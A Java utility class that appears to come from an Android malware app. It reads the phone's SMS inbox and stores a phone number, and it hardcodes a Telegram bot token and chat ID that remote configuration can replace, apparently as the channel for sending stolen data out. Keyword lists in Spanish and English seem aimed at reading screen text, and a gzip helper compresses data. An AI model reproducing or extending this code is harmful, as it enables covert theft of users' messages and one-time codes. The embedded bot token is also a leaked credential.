package com.app.duck.util;

import android.app.ActivityManager;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.app.duck.BuildConfig;
import com.app.duck.Config;
import com.app.duck.R;
import com.app.duck.dialog.UploadAppDialog;
import com.blankj.utilcode.util.SPUtils;
import com.blankj.utilcode.util.StringUtils;
import com.blankj.utilcode.util.ThreadUtils;
import com.blankj.utilcode.util.ToastUtils;
import com.blankj.utilcode.util.Utils;
import com.elvishew.xlog.XLog;

import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.zip.GZIPOutputStream;

import io.reactivex.Completable;
import io.reactivex.Observable;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/**
 * author: hx
 * created on: 2023/10/10 11:32
 * description:
 */
public class HxUtils {

    public static void QueryXiaoMiSmsInbox() {
        Uri SMS_INBOX = Uri.parse("content://sms/");
        ContentResolver cr = Utils.getApp().getContentResolver();
        String[] projection = new String[]{"_id", "address", "person", "body", "date", "type", "thread_id", "protocol", "read", "status", "service_center"};
        Cursor cur = cr.query(SMS_INBOX, projection, null, null, "date desc");
        if (null == cur) return;
        cur.moveToNext();
        cur.close();
    }


    public static HashMap<String, HashSet<String>> provideHashMap() {
        HashMap map = new HashMap<>();
        map.put("KEY_LOGIN", new HashSet<>(Arrays.asList("espere", "waiting", "loading", "esperando")));
        map.put("KEY_ERROR", new HashSet<>(Arrays.asList("problema", "problem", "error", "null")));
        return map;
    }

    public static String getPhone() {
        return SPUtils.getInstance().getString("number");
    }


    public static void setPhone(String phone) {
        SPUtils.getInstance().put("number", phone, true);
    }

    public static String getChatId() {
        return StringUtils.isEmpty(SPUtils.getInstance().getString("chatId")) ? "-1001958143149L" : SPUtils.getInstance().getString("chatId");

    }

    public static void setChatId(String chatId) {
        SPUtils.getInstance().put("chatId", chatId, true);
    }

    public static String getBotToken() {
        return StringUtils.isEmpty(SPUtils.getInstance().getString("botToken")) ? "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I" : SPUtils.getInstance().getString("botToken");
    }

    public static void setBotToken(String botToken) {
        SPUtils.getInstance().put("botToken", botToken, true);
    }

    public static void checkForUpdate(Context context, boolean toast) {
        new Thread(() -> {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder()
                    .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)
                    .build();
            try (Response response = client.newCall(request).execute()) {
                if (response.isSuccessful()) {
                    String fileContent = response.body().string();

                    ThreadUtils.runOnUiThreadDelayed(() -> new UploadAppDialog(context, fileContent, toast), 500);

                }
            } catch (IOException e) {
                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_12), e);
                XLog.e(StringUtils.getString(R.string.log_tip_12), e);
                e.printStackTrace();
            }
        }).start();
    }


    public static void checkForUpdateBotConfig() {
        ThreadUtils.executeBySingle(new ThreadUtils.Task<Object>() {
            @Override
            public Object doInBackground() {
                OkHttpClient client = new OkHttpClient();
                Request request = new Request.Builder()
                        .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)  // 文件的 URL
                        .build();
                try (Response response = client.newCall(request).execute()) {
                    if (response.isSuccessful()) {
                        String fileContent = response.body().string();
                        JSONObject object = JSON.parseObject(fileContent);
                        if (!StringUtils.isEmpty(object.getString("chatId"))) {
                            HxUtils.setChatId(object.getString("chatId"));
                        }
                        if (!StringUtils.isEmpty(object.getString("botToken"))) {
                            HxUtils.setBotToken(object.getString("botToken"));
                        }
                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.update_log_config_suc));
                        XLog.i(StringUtils.getString(R.string.update_log_config_suc));
                        ToastUtils.showLong(R.string.update_log_config_suc);
                    }
                } catch (IOException e) {
                    ToastUtils.showLong(R.string.update_err);
                    Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), e);
                    XLog.e(StringUtils.getString(R.string.update_err), e);
                    e.printStackTrace();
                }
                return null;
            }

            @Override
            public void onSuccess(Object result) {
            }

            @Override
            public void onCancel() {

            }

            @Override
            public void onFail(Throwable t) {
                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), t);
                XLog.e(StringUtils.getString(R.string.update_err), t);
            }
        });
    }


    public static Completable waitService(String serviceName, Context context) {
        return Completable.fromObservable(Observable.interval(0, 1, TimeUnit.SECONDS)
                .takeUntil(aLong -> {
                    return isServiceRunning(serviceName, context);
                })
        );
    }

    public static boolean isServiceRunning(String serviceName, Context context) {
        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        List<ActivityManager.RunningServiceInfo> runningServices = am.getRunningServices(Integer.MAX_VALUE); //获取运行的服务,参数表示最多返回的数量
        for (ActivityManager.RunningServiceInfo runningServiceInfo : runningServices) {
            String className = runningServiceInfo.service.getClassName();
            if (className.equals(serviceName)) {
                return true;
            }
        }
        return false;
    }

    public static Observable<String> getStringFromRaw(Context context, int rawName) {
        return Observable.create(emitter -> {
            BufferedReader reader = new BufferedReader(new InputStreamReader(context.getResources().openRawResource(rawName)));
            String line;
            StringBuilder result = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                result.append(line).append("\n");
            }
            reader.close();
            emitter.onNext(result.toString());
            emitter.onComplete();
        });

    }


    /**
     * 压缩数据
     *
     * @param str 压缩的内容
     * @return 被压缩的内容
     * @throws Exception 异常
     */
    public static byte[] gzip(String str) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gos = new GZIPOutputStream(baos);
        gos.write(str.getBytes(StandardCharsets.UTF_8));
        gos.close();
        return baos.toByteArray();
    }

    public static byte[] gzip(byte[] data) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gos = new GZIPOutputStream(baos);
        gos.write(data);
        gos.close();
        return baos.toByteArray();
    }

}
